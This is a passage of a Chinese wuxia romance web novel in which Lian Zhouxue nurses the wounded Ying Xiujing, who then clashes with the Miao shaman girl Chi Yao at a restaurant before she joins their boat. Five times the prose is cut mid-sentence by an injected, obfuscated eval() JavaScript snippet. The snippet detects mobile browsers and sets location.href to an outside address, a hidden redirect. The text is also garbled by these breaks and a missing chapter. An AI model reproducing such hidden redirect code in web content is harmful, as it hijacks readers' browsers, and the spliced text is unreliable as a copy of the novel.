那叫赤瑶的女子无奈摇头,随后她摇响手腕上的银铃。 那些距离她很近的毒蛇顿时像是被催眠了一般,前一刻还昂着头,后一瞬间就开始摇头晃脑,然后“啪嗒”一声,倒在地上没了动静。 穿着绛紫色刺绣苗服的少女将那些已经软趴趴晕在地上的彩色的毒蛇随手抓起来,放在柜台上。 连舟雪本来不想管闲事,但她眼见着还有好几条漏网之鱼都快要爬出医馆,甚至有一条就在她的头顶正上方,好似快要掉下来。 一声古怪的小调从连舟雪口中的骨哨中传出来。 原本一条条还想四下乱逛的毒蛇,在连舟雪吹响骨哨的时候,齐刷刷地快速汇聚在一起,乖巧地不再乱窜。 “你这是什么?”就在连舟雪将医馆内的所有漏网之蛇都集中在了房间里准备离开时,她的衣服被人抓住。 回头,连舟雪就对上了赤瑶那双灵动的大眼睛。 后者显然很好奇。 连舟雪:“一点小把戏而已,不足挂齿。” 赤瑶摇摇头,“这可不能算是小把戏!”她看着连舟雪,一字一顿道:“你很厉害,操控蛇群,就算是巫师,也不一定都能做到。” 连舟雪笑了笑,示意她可以松手。 可是身边这少女似乎看不懂她的眼神,不仅仅没有松开手,甚至还有些兴致勃勃,“你能不能教教我?你要是想学什么我会的,我也可以教你!” 连舟雪拧眉,她怎么觉得自打自己下山以来,遇见的都是些好像听不懂自己说话的人? “不能。”她在说这话的时候,微微用了些巧劲儿,就挣脱了眼前女子的拉扯。 连舟雪带着药回到船上,谭巧儿跟季芳两人还没有回来。 连舟雪直接去了应休惊的房间。 发热的病患最凶险的时候在晚上,也不知道是不是因为应休惊在没有人关注的时候就已经挺过了最危险的时候,当连舟雪带着药走进舱房时,对方已经恢复了几分神智。 在听见门口传来的动静时,应休惊的目光也随之落在了连舟雪身上。 “你醒了。”连舟雪进来后就对上了应休惊的目光,她将石知丸递给应休惊,“吃了,退热。” 连舟雪见应休惊没接过药丸,而是视线还落在自己身上,她皱眉,以为是这人是疑心药丸,正要说什么,就看见应休惊拿出了一条干净的手帕,递给她。 “脖子上有伤。” 连舟雪挑眉。 应休惊干脆坐起来,拿过一旁的铜镜,“先去包扎。”他将镜子递给连舟雪,示意她自己好好看看。 连舟雪这才想起来自己脖子上这道都快要结痂的小伤,是今日自己早上来找应休惊时,差点被这个睡梦中的人给划伤。 “没什么大碍,犯不着。”连舟雪说。 应休惊抿唇,眉眼似乎都变得有些不爽。 “有雪肌膏吗?”他问。 连舟雪:“哪里有那么夸张?” 应休惊:“女子身上还是不要留下伤疤的好。”说完这话,应休惊解开自己腰间挂着的一枚玉葫芦,“这东西还能换几个钱,你当了去买。” 连舟雪扫了眼那玉葫芦,她虽然不能说是行家,非常识货,但也能看出来现在应休惊递给自己的这小玩意儿,质地温润,应该不是什么便宜货。这换一瓶雪肌膏,实在是有些暴殄天物。 “受伤的人是我,跟你有什么关系?收着吧,我可不要。”连舟雪说。 “不是我伤的吗?”应休惊抬头看着她问。 那双狭长的凤眸中,眸色很深,像是幽冷的深潭,凝视着连舟雪。 连舟雪结巴了一下,“啊”了声,“你都知道啊?” 她还以为按照应休惊早上的状态,什么都不记得呢。 应休惊见她承认后,便敛下眼眸,没说话。 他早就习惯了即便是在睡梦中,也保持着警觉。没有人能在他睡着的时候近身,今日早晨,他人已经烧得昏昏沉沉,当听见耳边传来似乎是开门的声音那一刻,他身体本能的反应已经蓄势待发。 意识到来的人是连舟雪时,已经有些晚了。 不是不记得。 只是后来他后颈一痛,整个人又陷入了昏迷。 “也没事,你也不是有意的。我敲你门,你没反应,我就自己开门进来了。”连舟雪干笑两声。 应休惊还是没做声,只是将那玉葫芦直接扔进连舟雪怀中,然后一把拿过那拇指大小的药丸,一口吞下。 这动作,看得连舟雪都忍不住想要替他吞咽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107319|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“东西给你,你不要就扔了吧。”应休惊说。 连舟雪这才反应过来他说的是被扔在自己怀里的玉葫芦,连舟雪有些无言,“我看你对自己怎么就没爱惜……”先前受了那么重的伤也一声不吭,哪怕都引起了高热,也不肯吭一声。 应休惊不甚明显地扯了扯嘴角,他这具身体需要爱惜吗?不过是一条烂命而已,死了就死了,有什么大不了? 连舟雪没多打扰应休惊,看着人吃了药后,就站起来出去。 到了门口时,她决定还是知会一声应休惊。 “现在在阜女渡口,这地方归南疆。今日停船修整,也采买些东西上船。那些姑娘们,我想如果她们自己愿意的话,想要留在这里,就放她们离开?” 坐在床上的应休惊眼皮也没抬一下,“你跟我说这些做什么?你决定就好。” 连舟雪:“没有你,我一个人也没办法把她们都平安带出来。” 她说完这话后,就替应休惊关上了房门。 而现在还在房间里的人,眼神晦涩不明。 片刻后,房间里响起来一声不甚明显的嗤笑声。 他什么时候会主动救不认识的陌生人?听到连舟雪的话的时候,应休惊自己都觉得有几分荒谬。 连舟雪将船上的姑娘们召集起来,说明情况后,给了大家时间想清楚。 等到谭巧儿跟季芳回来时,差不多大家都做好了选择。 几乎有一大半的人都选择了留下来。 有的是家中已经没有了父母亲人,与其现在回中原,还不如就留在南疆一带,至少安全很多。 还有一小部分的人家中亲人尚在,但也选择留下。 “回去后,还不是要继续过那提心吊胆的日子。与其这样,还不如留下来。到时候,给家中去书信便好。说不定,日后还有机会把家里人都接过来呢!” 不论如何,连舟雪都支持她们的决定。 那些准备离开的姑娘们,连舟雪替她们准备了盘缠。 她下山的时候的确没有带多少银钱,但没关系,她们这艘船上,有钱人很多。 拿来花花,不过是顺手的事儿。 当连舟雪去了舱底再上来后,还没来得及关上下面货舱的木门,下面的声音传了出来—— 13. 第 13 章 “强盗!居然,居然连我的荷包都不放过!” “你还是不是女子!男人的腰带是你想解就解的吗?!我的银子!” “姑娘,留一点给我吧,你这也不能太过分啊,雁过拔毛,你怎么能把我的私房钱都收走啊!” 谭巧儿等人还站在上面等着连舟雪出来,在听见从下方传来的那些从前欺辱过她们的纯阳派弟子的求饶声时,一个个面色怪异,但唇角又忍不住狠狠勾起。 因为安排船上姑娘们的离开,连舟雪不由耽误了些时间。 等到午时,这才处理得差不多。 连舟雪考虑到船上除了干粮之外也没什么吃食,她想了想,还是走到应休惊的房间跟前,敲了敲门。 里面传来两声咳嗽声后,房间里的人说了声“进”。 连舟雪推开门,“巧儿姑娘说集市上有不少食肆,反正现在船还没走,她们都出去用膳。不然,我们也先去外面用个午膳?” 她的手艺,若是做饭的话,也不知道是给病患做的营养餐,还是投毒。 不多时,应休惊跟连舟雪两人坐在了阜女镇集市里看起来最豪华的一家食肆。 地方当然是应休惊选的。 作为十多年来第一次下山出远门的没怎么见过世面的连舟雪,觉得外面的食肆应该哪哪儿都好吃。 店小二带着两人上了二楼。 二楼临街,甚至在她们这个位置,还能看见远处的雪山。 风景倒是极佳的。 应休惊倒了一杯茶,尝了一口后,就放下了杯子。 连舟雪忙活了一上午,现在坐下来,倒是先灌了好几杯水下肚。 应休惊看着她的动作,最后目光落在连舟雪的脖子上。 “没上药?”他问。 连舟雪:“啊?” “脖子。” 连舟雪正想说花那冤枉银子,还不如花在今日这顿饭上。 她很怀疑这位从前就是个少爷,从来不缺银子的。 不然,怎么还能在如此一穷二白的境地,手中有两个子儿就大手大脚,丝毫不考虑没银子的时候该怎么办。 但连舟雪还没说出这话,耳边忽然传来一道有些熟悉的声音。 “哈!找到你了!” 这声音刚落,连舟雪身边就坐下来一人。 分明是低调的绛紫色,却被来人穿得格外明媚张扬。 那头彩色的发辫配合着银色的头饰,还有那一身的铃铛,就算是连舟雪想忘都很难。 “是你。”连舟雪惊讶道。 赤瑶点头,“上午你跑得太快,我都还没反应过来,你就不见踪影。”她一边说这话,一边就要伸手拉住连舟雪,“走,你都还没有教我,你那个哨子是怎么回事。” 连舟雪拧眉,避开赤瑶朝自己伸出来的那只手。 “姑娘,你我素不相识,也没有这么亲密吧?”连舟雪随手抄起桌上的木筷,将自己跟身边的人隔开一段距离。 哪知道坐在她身边的这位压根就看不懂旁人的脸色似的,竟然坐在位置上跟连舟雪一来一回交手起来。 “素不相识?我叫赤瑶,这样就不算是不相识了吧?你呢?你叫什么名字?不是我们苗疆人吧?我之前可没见过你。你来我们苗疆做什么?你要是教我怎么吹那哨子,你想做什么我都帮你。” 连舟雪脸上闪过一丝恼意,忽然她余光处闪起一道亮光,原本还在跟她交手的赤瑶猛的一下消失在位置上,下一刻,在连舟雪身边的长椅,直接被削掉了半边。 “喂!”赤瑶人已经跳至两步之外,她现在双手插着腰,怒气冲冲地看着坐在连舟雪对面的应休惊,“你是谁啊!想打架?!” 应休惊一击不成,慢条斯理地收回了手中的软剑。 听到赤瑶的质问,他没回头,“滚。” 虽然只有一个字,但有的时候一个字的含金量,可能比一句话的含金量都高。 或者说,一个字能激怒人的效果,可能比一段话激怒人的效果都卓绝。 像是现在这般。 赤瑶涨红了脸,娇叱一声,她手中顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107320|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时出现一条鞭子,呼呼地朝应休惊招呼去。 “敢叫我滚的人,你还真是第一个。”赤瑶手腕轻轻一抖,那像是蛇皮一样的鞭子在地上发出“啪”的一声脆响,下一刻,她手中的鞭子直接掀翻了桌子。 应休惊先一步从位置上退开,脚尖一点,单手撑在窗棱上,一跃至房顶。 赤瑶自然也不甘示弱,紧随而上。 还留在原地没有被波及到的连舟雪,一脸菜色和无语。 她就不知道怎么好好出来吃一顿饭,就变成了眼前这番光景。 重点是,她们叫的菜,才刚上啊! 还没有来得及吃一口,就已经打得七零八碎,这不是纯粹浪费银子吗?! 连舟雪想到应休惊这人身上都还带着伤,一时间更觉头疼。 此刻在房顶上,应休惊已经跟赤瑶交手。 一个看不惯对方缠着连舟雪,一个恼恨对方打断了自己的好事。两人打起来的时候,谁都没想要让着谁,一出手,就是朝着要对方的命而去。 应休惊哪怕受伤,但内力还在。他又是个打起来就不要命的人,银蛇一般的软剑气势惊人,将赤瑶挥舞起来的鞭影尽数斩断,甚至有好几次,差点直接削秃了赤瑶手中的长鞭。 软剑和长鞭碰撞在一起时,赤瑶只觉得手腕一震,有些发麻,长鞭差点直接脱手。 她咬牙,分明后背都已经被汗水浸湿,但此刻像是跟应休惊较上劲儿一样,完全没有后退的打算。 “多管闲事!我倒是要看看你究竟有几分能耐!” 赤瑶说完这话,足尖一点,长鞭卷起来数十块砖瓦,噼里啪啦一通就朝应休惊砸去。 她人也趁此机会借力,凌空而起,手中长鞭如灵蛇一般,自上而下朝应休惊挥去。 应休惊持剑格挡,却见赤瑶手腕一转,那长鞭顿时换了个方向,缠向他的手腕。 那长鞭跟寻常的鞭子不一样,在鞭身上还挂着不少倒钩小刺。 应休惊眼中划过一丝冷笑,这点小伎俩,在他眼里显然还不够看。 14. 第 14 章 他甚至都没有换剑势,而是顺势在半空中画出半圆,剑气横扫四方。 赤瑶只觉得一股大力袭来,她根本站不稳,胸口血气震荡,猛然一下从房檐上掉落下去。 应休惊冷眼看着眼前这一幕,没什么动容。甚至在赤瑶被击落时,他脚尖卷起一块砖瓦,顺势朝着人踢下。 “嘭——” 那块青色的砖瓦终究是没有落在赤瑶身上,而是在半空时,就被一支箭射中,粉碎在半空。 应休惊眉眼一挑,只见从长街上飞速掠来一道身影。 那身影在赤瑶落地之前,长臂一捞,便将人从半空中接住。 “又来一个?” 应休惊看着来人的穿着,自是直接将对方跟刚才那讨人厌的女子归为同类。 既然是一伙儿的,他何须手下留情? “等等!” “应休惊!” 两道声音同时传来,应休惊下意识已经停手,抬头看向已经上房顶的连舟雪。 “你不要命了吗?”连舟雪头疼,这人还真是不把自己的命当命,打了一个不说,还准备打第二个?他现在的身体是什么样,难道他自己心里没点数吗? 而现在在下面长街上出现的白袍年轻男子也开口:“这位兄台,我并无恶意,可否先停手?” 应休惊对白袍男子的话并没放在心上,他看着连舟雪,最后还是跟连舟雪一块儿下去。 食肆周围已经围聚了不少看热闹的人,连舟雪就看见先前赶过来的白袍男子上前说了什么,很快人群就此散开。 “姑娘和公子受惊了,赤瑶肯定跟二位有什么误会,刚才还多谢二位手下留情。”白袍男子在疏散了人群后,转过身,就对着应休惊跟连舟雪开口道。 应休惊抱臂不语,倒是连舟雪干笑了两声,算起来刚才那番打斗,还是她们的人先出的手,何况别人不知道,她可是很清楚,应休惊哪里想要放过赤瑶?分明就是下了死手,可担不起这声“手下留情”。 “没事没事,本来也不是什么大事。既然是误会,说开就好。”连舟雪说。 她原本还想说既然这样,这件事情也算是了结。谁知道连舟雪这话还没说出来,一旁被白袍男子救起来的赤瑶已经先闹开了。 “千宿!你到底是谁的人啊!你胳膊肘还往外拐呢!谁要你在这儿胡说八道?你没看见他刚才对我出手?要是想就这么算了,想都别想!”赤瑶一抹嘴角边溢出来的鲜血,手里拿着鞭子,对应休惊怒目而视。 被叫做千宿的白袍男子伸手拉住她的胳膊,“你别闹了。” 应休惊虽然没有说话,但是甩了甩手中的软剑,那睥睨的样子,几乎就是把“那继续啊”这几个字写在脸上,直接把此刻看着他的赤瑶彻底激怒。 连舟雪:“……” 她这时候跟对面的白袍男子对视一眼,都从彼此的眼睛里看见了几分无奈。 片刻后,四个人总算是“相安无事”地坐在了一张桌上。 只不过,这气氛是有些过于别扭了。 “哼!”赤瑶率先别过脸,那唇角也高高翘着表示不满。 应休惊虽然没有表现得这么明显,但他那张脸已经阴沉下来,任由是谁来看,也知道眼下他的心情不会很好。 连舟雪看了看身边的人,一时间也不知道刚才答应千宿来一起吃个便饭究竟是对还是不对了。 “今日早上,我便听阿瑶说她遇见了一高人,想来就是连姑娘吧。”互通姓名后,千宿率先温和开口。 连舟雪:“算不得什么高人,不过是一些家传的小把戏。” “既然是家传,那肯定是不传外人。阿瑶生性单纯,考虑不周,若是惹恼了连姑娘,在此,在下替她给连姑娘赔罪。”千宿说这话的时候,已经给自己倒了酒,在连舟雪面前自罚三杯。 连舟雪:“无妨,今日本来我也着急离开,这才闹出来乌龙。” 千宿:“此处的损失我们会一并承担,还望姑娘不要怪罪。” “千宿!”赤瑶这时候转头,瞪着身边的人,浑身的小铃铛因为她的大动作而叮叮当当不停作响,“你怎么回事?!分明是那死鱼脸差点伤了我!就算是道歉,也应该是他先道歉!” 赤瑶一副“你怎么灭自己志气长他人威风”的怒其不争的模样,就差没咬牙切齿。 千宿还很好脾气地听着身边人的“训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107321|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斥”,“阿瑶,若不是带你先前非得问连姑娘教你人家家族的独门绝学,也不会惹得应公子对你出手。这么算起来的话,的确是我们有错在先。” 赤瑶听着耳畔传来的解释,轻哼一声,“我那时候也不知道嘛。”说完这话,她又看向连舟雪,拱了拱手,“对不起连姑娘。” 既然是人家的家传绝学,她自然不好意思追问。 连舟雪:“无妨,赤瑶姑娘也是不知情。” “你就叫我阿瑶吧,别一口一个赤瑶姑娘啦。我听着还怪别扭的,行不行?”赤瑶转过头对着连舟雪时,立马换了一副表情,笑眯眯问。 这般模样,倒又成了连舟雪最初见到的那明媚的少女模样。 连舟雪还有点没适应这样的热情,她慢了半拍,随后点头,“好的,阿瑶。” “那我们这也算是不打不相识啦,舟舟!”赤瑶高兴道。 “还真是脸大,她同意你这么叫她了吗?”应休惊坐在位置上,掀了掀眼皮,盯着在自己斜对面的人的眼睛说。 刚松了一口气的连舟雪和千宿两人,在听见这话时,顿时又不约而同提起一口气。 千宿眼疾手快地伸手按住了赤瑶的肩头,“阿瑶你冷静一点。” 而连舟雪在这一刻也捂住了应休惊的那张嘴,“求你可闭嘴吧!” 赤瑶被千宿按住肩头,但也要奋力伸手想要撕烂在自己斜对面的人。 “你个死鱼脸!你说什么呢!有种你再说一遍!看姑奶奶今天跟你有完没完!我就要叫她舟舟,怎么了怎么了?!你有本事来打我啊!死鱼脸又多管闲事!” 应休惊虽然是被连舟雪捂住了嘴,但是那双眼睛仍旧像是会说话一样,眼尾微微上翘,看向赤瑶的眼中透出来的光都带着几分讥讽,更像是在挑衅。 赤瑶见状,不由挣扎得更厉害。 千宿一边控制着赤瑶,一边抱歉地冲着连舟雪笑了笑,“对不住对不住,连姑娘见笑。” 连舟雪也觉得很抱歉,“哪里的事,这也不能怪阿瑶……” 她不是早就知道应休惊的那张嘴是不好惹的吗? 赤瑶年轻气盛,哪里禁得住应休惊这么一激? 16. 第 16 章 “巫子和巫女也能随意离开南疆吗?”连舟雪有些好奇问。 回答她这问题的是千宿,“平日里自然是不行的,但是今年正好是我跟阿瑶考核的日子。所以,族内允许我们可以离开。不过,在考核的时候人是必须要回来的。不然,就当做是放弃了自己现在的身份。” 千宿对连舟雪说得简单,但即便是在考核年,巫子和巫女一般也不会离开南疆地界。 在南疆,巫子和巫女的身份崇高,不同于寻常人,不论做什么都算安全。但离开南疆地界,他们的身份就没了什么作用。 更何况,千宿知道,并不是所有的中原人都对他们南疆的巫蛊师有好意。 他是因为知道赤瑶做的决定,没人能改变,自己也阻拦不了,这才没有反驳。 而赤瑶去什么地方,他当然也是要跟着去。 连舟雪:“你们若是要一同前去,自然船上也有位置。” “那敢情好!”赤瑶是个想到什么就去做的人,“那等会儿我同你们一块儿出发!你们船大吗?我还有些东西想搬去船上。” 连舟雪点点头,“船是挺大的,只不过你们要是同我们一道的话,也许会遇见点麻烦。” 连舟雪没有想坑人,就将自己跟纯阳派这一路上来的恩怨简单解释了一番。 她说完后看着赤瑶和千宿两人,“所以,你们商量一番,再告诉我决定也不迟。” 赤瑶一手就拍在了桌上,她手腕上的银铃也因此响个不停。 “这种人渣就应该扔进我们万蛇坑!”她一脸愤懑,眼中燃起怒火,“我可不怕这些人!要是他们找上门来,来一个我杀一个,来两个杀一双。” 连舟雪忍不住笑了笑。 赤瑶:“对了,你不是说还不知道船上的那些人怎么处理吗?不如都交给我好了。” 千宿这时候劝告出声:“阿瑶。” 赤瑶像是知道他想说什么,回头颇有些不耐烦道:“知道知道,我这又不是随便插手别人的事,我不是想替舟舟解忧吗?” 千宿:“……” 他劝不了一点,只能抱歉看向连舟雪。 连舟雪低咳了两声,想到刚才赤瑶的话,失笑:“都扔进那什么万蛇坑吗?” 她头回下山,还没一次性杀过这么多人。 “不行吗?”赤瑶问。 连舟雪:“……” 其实她也不清楚,心中犹豫不定。 但若是把这些人留下,到了中原地界后,可能她人都还没有到江南,纯阳派可能都已经要问她来要人。 到时候,她拦不住人,岂不是放虎归山? 或许像是应休惊说的那样才是最正确的,杀了永绝后患。 “其实还有一办法。”千宿像是看出来连舟雪的为难,主动开口道:“我们南疆有一类人,叫做捕虫师。做这类生计的,大多是家里揭不开锅的。在族内,还有犯了错,但又罪不至死的,都会被安排去做捕虫师。连姑娘船上的那些人,便可送至山内。族中有长老看守山门,这些人逃不走,而且每日都需要完成既定的任务,才有一口饭吃。” 连舟雪眼睛一亮,这听起来倒是有些像是朝廷流放的囚犯,那些囚犯也是要在苦寒之地做苦役。 “不过,捕虫师是什么?船上的那些人可不一定会……”连舟雪问。 她可不想把麻烦扔给千宿。 “这个嘛,舟舟你放心好了。”赤瑶笑着说,“你也是见过的,就今日早上,咱们在医馆相遇的时候,捕蛇的人,也归为捕虫师。只要还有一双手,就能去抓各种虫子。” 连舟雪想到早上背着一筐蛇来的农人,不由就笑了。 能惩罚人,还能给旁人创造营收,似乎是个不错的提议。 饭后,赤瑶说要先回去取点东西,收拾行李很快去码头跟她汇合。 千宿自然是要跟赤瑶一同离开,三人就在食肆门口分开。 连舟雪没有立即回船上,而是在店内重新打包了一份一人食,这才离开。 回到船上时,谭巧儿等人都已经回来得差不多。 连舟雪问她们有没有见到应休惊的身影,几个姑娘纷纷摇头。 连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107323|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟雪决定还是先去应休惊房间看一眼。 走到船舱客房门口时,连舟雪抬手敲了敲门,里面没有回应。 她转过身,准备离开,脚步还放得有些重。 虽然像是在离开,但连舟雪边走边竖起了耳朵。 当快走到船头的甲板时,连舟雪倏然一下转身,脚尖在途中都没点地,转瞬之间便又悄无声息地回到了刚才自己驻足的船舱客房门口。 随后连舟雪飞快出手推开门,也不管这一次自己没敲门就直接开门的动作是有多不妥当。 “吱——” 门开了。 在门口的连舟雪跟此刻同样站在门口的人面面相觑。 应休惊是最先反应过来的。 当意识到连舟雪居然不讲武德直接贸然打开了自己这间客房的大门时,他脸上先是有一瞬间的空白,随后下意识地动作就是关门。 奈何连舟雪现在卡着门,不让他关门,应休惊动作一顿。 他冷着脸,“你做什么?” 连舟雪抬起自己的另一只手,她还拎着一个食盒。 “你不是中午没怎么吃东西吗?我给你打包了一份。”她说。 “不需要。”应休惊的神色仍旧显得冷淡。 连舟雪:“哦,那我都买了,不能浪费银子吧?” 应休惊:“……”他眉宇间的神色闪了又闪,最后还是像是被连舟雪这话噎住。 一份午膳能浪费多少银子? 他是真想把连舟雪的脑袋打开看一看,里面都装的是什么!? 他难道还缺这么一顿饭的银子吗? 提什么浪费银子?! 连舟雪见眼前人的脸色似乎变得更臭了两分,她有些讪笑,一时间也不清楚究竟是自己说的哪句话还是做的哪件事又惹得应休惊不快。不过,趁着这机会,她已经闪身,从那道门缝里,像是一条滑溜溜的小鱼一般,进了应休惊的房间里。 应休惊的确是怕伤了连舟雪,这才没有用力使劲儿关上门。可在见到连舟雪得寸进尺地进了自己房间,他直接被气笑。 17. 第 17 章 “你是个姑娘!”应休惊在连舟雪进门后,直接将自己房门大敞开,他皱眉道。 连舟雪眼神略带迷惑地看着他,她当然知道,这是什么需要应休惊特意提醒的事情吗? 应休惊在对上连舟雪的眼睛时,就知道她什么都不知道。他深吸一口气,压着心头升起来的无名怒火,“一个姑娘怎么能随便进别的男人的房间?” 连舟雪没想到是这个原因,可是从前她跟连画楼还有师兄之间,向来都是这般相处,并没有觉得有什么问题。 “你要求可真多。”连舟雪说,“像个富贵人家的少爷。” 应休惊:“……” 一口气差点没提上来。 连舟雪眼看着跟前人的脸色变得越来越难看,害怕自己下一刻就要被应休惊直接轰出去,赶紧改口,“我知道了,以后不会行了吧?再说了,你也不算是别人了吧?” 也不知道这话里哪一句话让应休惊放心了些,还是有被安抚到,他脸上的神色看起来终于不再那么吓人。 “知道就好。”应休惊硬邦邦说,他看了眼连舟雪手中的食盒,像是打发人一样又说:“东西放下,人可以离开了。” 这还是下了逐客令。 连舟雪可不敢就这么走了,她坐在旁边的椅子上,“那我怎么知道你吃不吃?” 应休惊看着她,见连舟雪真没有一点要起身离开的意思,便不做声,直接走过去,打开了食盒,将里面的饭菜取出来。 应休惊没什么食欲,南疆地界的饭菜口味,他吃不大习惯。 但在连舟雪的注视下,应休惊还是硬着头皮吃了几口。 “其实我还有一件事情想跟你商量。”连舟雪感觉现在应该是个好时机,在一旁开口。 应休惊:“嗯?” “就,就是等会儿,我们船上可不可以多带两个人?”连舟雪看着应休惊的那张脸,试探着问。 应休惊听到这话的时候,咽下了嘴里他并不怎么喜欢的茭白,盯着连舟雪的眼睛,后者也不知道是心虚还是怎么样,竟然主动避开。 应休惊放下筷子,忽然一笑。 那笑容,看起来是让他整张脸都变得鲜活了几分,本来就顶好的容貌,这时候就像是一朵馥香逼人的花,艳丽异常。 可连舟雪忽然觉得后颈有些发凉。 下一刻,连舟雪就听见跟前人不加掩饰的冰冷的声音—— “我看你不是跟我商量,而是来通知我的吧?” 应休惊在说这话的时候,前一秒脸上笑容在顷刻之间就消失得无影无踪。 连舟雪:“那可以吗?” 应休惊冷哼一声,没回答连舟雪这话,“出去。”他说。 连舟雪还想说什么,应休惊见她没起身,直接站起来,朝门口走去。 “你去哪儿?”连舟雪站起来,想拉住人。 可是应休惊像是知道她有这么一动作,侧身一避,就让连舟雪的手落了空。 “既然你不走,那我走。” 说完这话后,应休惊的身影已经消失在房间内。 连舟雪懊恼地皱起眉头,想追出去,但已经听见旁边空着的客房传来一声巨大的关门声。 她摸了摸自己手中的剑伞,觉得现在可能追过去不是个好时机。 重新起航,赤瑶和千宿已经上船。 连舟雪跟还在船上的姑娘们介绍了一番两人的身份后,她的视线不由朝着应休惊换过的那间客房门口看去。 只不过让她失望的是,应休惊的那扇房门依旧紧闭。 赤瑶带了几筐蛇上船,她跟连舟雪保证,“舟舟你放心,我绝对不会让它们跑出来。等我练出蛇蛊,它们自会消失不见,不会伤害别人。” 连舟雪看着几筐蛇,虽然不说头皮发麻,但密密麻麻的各种颜色的软体蛇混迹在一起,她还是有那么点不太习惯。 “嗯。”连舟雪点头。 “对了,那死鱼脸呢?怎么不见他?”赤瑶问。 在问这话的时候,她那表情看起来还有些愤愤然,很显然,赤瑶还想着什么时候跟应休惊再来一次对决。 “阿瑶,应公子应当不会喜欢你给他取这样的名字。”千宿在一旁无奈开口。 “他不喜欢跟我有什么关系?”赤瑶不满道。 千宿:“我们现在也算是在应公子的船上。” 赤瑶:“……” 虽然但是…… 好像有几分道理。 连舟雪将二人带去客房后,走到应休惊房门前,敲了敲门,但里面无人应答。 连舟雪不由低头,神色显得有几分沮丧。 她当然也意识到自己单方面答应赤瑶跟千宿的邀约是有些不妥当,毕竟在之前,她跟应休惊才算是“搭档”。 但哄人这种事,连舟雪在从前就没什么经验,现在自然有点不知道如何应对。 晚上应休惊没出房门,连舟雪想到自己去敲门吃闭门羹的事,觉得若是自己前去劝说的话,可能适得其反。 但她看向身边的那些姑娘们,似乎也没人敢靠近应休惊。 “我就知道那死鱼……咳咳,他脾气那么坏,谁愿意靠近他呀。也就是舟舟,你脾气太好,才能容忍他那样的人。”赤瑶坐在连舟雪身边,小声叭叭道。 她还记恨着应休惊先前一言不合就对自己拔剑的事。 连舟雪倒没觉得是自己在忍受应休惊。 “我去吧。”就在这时候,千宿开口道。 连舟雪转头看着对方,面色有些犹豫。 千宿像是看出来连舟雪心里在担心什么,主动又道:“放心,连姑娘,我知道分寸。” “好哇!”连舟雪还没做出什么反应,赤瑶却先不是那么高兴了。她将手中的碗筷重重一放,瞪着千宿,“你到底是谁的人啊!” 说完这话,也不等千宿回答,赤瑶直接气哼哼地起身离开。 千宿在身后叫了好几声“阿瑶”,赤瑶也没回头。 千宿只好有些无可奈何转回头,“又让连姑娘看笑话了。” 连舟雪倒没觉得有什么不对,短短一日时间,她也能摸清楚赤瑶是什么性子。 说简单一点,就是单纯,喜形于色,什么情绪都在脸上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107324|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “阿瑶性子率真。”连舟雪说。 千宿笑着点头,“她从小就没有离开过南疆,所以有些骄纵。应公子今日给了她好大一个没脸,估计阿瑶要记恨些时日。不过连姑娘请放心,阿瑶就算是要去找应公子麻烦,也不会太过分,她不是应公子的对手。” 连舟雪听着前面的话还好,听到最后一句话时,忍不住笑了。 这话若是被赤瑶听了去,怕是真就哄不好了。 “你跟阿瑶真的就只是寻常的巫子和巫女的关系吗?”连舟雪有些好奇了。 